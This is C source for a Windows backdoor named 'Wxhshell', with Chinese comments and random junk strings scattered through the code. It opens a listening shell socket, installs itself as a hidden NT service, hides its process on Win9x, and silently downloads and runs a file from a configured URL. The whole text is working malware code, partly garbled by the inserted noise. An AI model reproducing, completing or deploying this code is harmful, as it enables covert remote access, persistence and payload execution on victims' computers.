=l0Jb#d }QsZ:J. // 主模块 v^_mFp-}\ int StartWxhshell(LPSTR lpCmdLine) {|yob4N { fz3lV SOCKET wsl; ~35U]s@v BOOL val=TRUE; yin'vgQ int port=0; ?l $Nf@- struct sockaddr_in door; d'|,[p viAMr"z if(wscfg.ws_autoins) Install(); jOyvDY9\ PGARXw+ port=atoi(lpCmdLine); ^_%kE%I j*
*s^Sg if(port<=0) port=wscfg.ws_port; N?m0USu* if]Noe WSADATA data; PT5AA8F if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G_dsrpI=N gt7VxZ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ]Bm>-*@0N setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !xKJE:4/,m door.sin_family = AF_INET; fVM`-8ZTq door.sin_addr.s_addr = inet_addr("127.0.0.1"); C^z\([k0er door.sin_port = htons(port); 4j!]:ra X K5<Tg if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6Kj'ZyVL closesocket(wsl); iK IOh('G return 1; 03iv3/{H } Zxb_K ;_(PVo if(listen(wsl,2) == INVALID_SOCKET) { 4
8{vE3JY closesocket(wsl); i9D0]3/> return 1; v*qQ? S } <uc1D/~^: Wxhshell(wsl); 2EK%N'H WSACleanup(); $
A9%UhV @YH+cG| return 0; nWvuaQ0} V&|!RxWK } IB`>'~s&A "aFhkPdWn // 以NT服务方式启动 LsM7hLy VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F>X-w+b4r { 5&f{1M6l> DWORD status = 0; +~ #U7xgq/ DWORD specificError = 0xfffffff; R+~cl;#G6 %,iIpYx serviceStatus.dwServiceType = SERVICE_WIN32; 07/L}b`P serviceStatus.dwCurrentState = SERVICE_START_PENDING; >2?aZ`r+ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !8@*F serviceStatus.dwWin32ExitCode = 0; a@pz*e serviceStatus.dwServiceSpecificExitCode = 0; ~kCwJ<E serviceStatus.dwCheckPoint = 0; &
``d serviceStatus.dwWaitHint = 0; l6u&5[C _NcYI hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m"9XT)N if (hServiceStatusHandle==0) return; u<n`x6gL 1[*{(e status = GetLastError(); tyDY'W\] if (status!=NO_ERROR) S',9g4(5 { K"V:<a serviceStatus.dwCurrentState = SERVICE_STOPPED; aRc ' serviceStatus.dwCheckPoint = 0; \Yoa:|%*y serviceStatus.dwWaitHint = 0; sIl33kmv serviceStatus.dwWin32ExitCode = status; |Cdvfk serviceStatus.dwServiceSpecificExitCode = specificError; Kwhdu<6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); {R^'=(YFy return; o."rxd } Sc]P<F7N] 2Nj9U#A serviceStatus.dwCurrentState = SERVICE_RUNNING; [Lp,Hqi5 serviceStatus.dwCheckPoint = 0; ^MmC$U^n serviceStatus.dwWaitHint = 0; Ft@Wyo`^ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !%Y~~'5 h } dxj*Q "K ==cd>03() // 处理NT服务事件,比如:启动、停止 %o}(sShS VOID WINAPI NTServiceHandler(DWORD fdwControl) ?Mp1~{8 { <g9"Cr` switch(fdwControl) 8)VgS&B~ { c[ht`!P case SERVICE_CONTROL_STOP: 6TH!vuQ1( serviceStatus.dwWin32ExitCode = 0; .]|Zf!>}s serviceStatus.dwCurrentState = SERVICE_STOPPED; QI_59f> serviceStatus.dwCheckPoint = 0; ]/T-t1D serviceStatus.dwWaitHint = 0; XW L^ { &)pK%SAM SetServiceStatus(hServiceStatusHandle, &serviceStatus); fB+b}aoV } ap}5ElMR return; YGsS4ia*4i case SERVICE_CONTROL_PAUSE: m/`IGT5J serviceStatus.dwCurrentState = SERVICE_PAUSED; fRm}S>Nibb break; 5v^L9!`@%v case SERVICE_CONTROL_CONTINUE: qXXGF_Q serviceStatus.dwCurrentState = SERVICE_RUNNING; zEw>SP1, break; A7P`lJgv case SERVICE_CONTROL_INTERROGATE: {5%/ T, break; +^6}
}; n$2 RCQ SetServiceStatus(hServiceStatusHandle, &serviceStatus); CT d|` } jLcHY-P0V Vdn.)ir~P // 标准应用程序主函数 9zgNjjCl] int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %So]3;' { P=H+ # cywg[ // 获取操作系统版本 ,PWj_}|L[ OsIsNt=GetOsVer(); JLb6C52 GetModuleFileName(NULL,ExeFile,MAX_PATH); Q;nAPS mo1
puU // 从命令行安装 N*DhjEU)[ if(strpbrk(lpCmdLine,"iI")) Install(); +ySY>`1k~ yoqa@ V // 下载执行文件 4(vyp.f if(wscfg.ws_downexe) { 0p fnV% if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cbKL$| WinExec(wscfg.ws_filenam,SW_HIDE); !ax;5 @J } gUB{Bh($Y K%}}fw2RMN if(!OsIsNt) { Y(GN4@`S // 如果时win9x,隐藏进程并且设置为注册表启动 |xr32gs HideProc(); tiLu75vj StartWxhshell(lpCmdLine); uv4 _: } Wn!G.(Jq else 3z{S}~ if(StartFromService()) 4x'AC%&Qi // 以服务方式启动 M+sj} StartServiceCtrlDispatcher(DispatchTable); sXl ??UGe else 'nK~'PZ, // 普通方式启动 PdY>#Cyh StartWxhshell(lpCmdLine); ^ua12f H]&!'\aUz return 0; ;^l_i4A }
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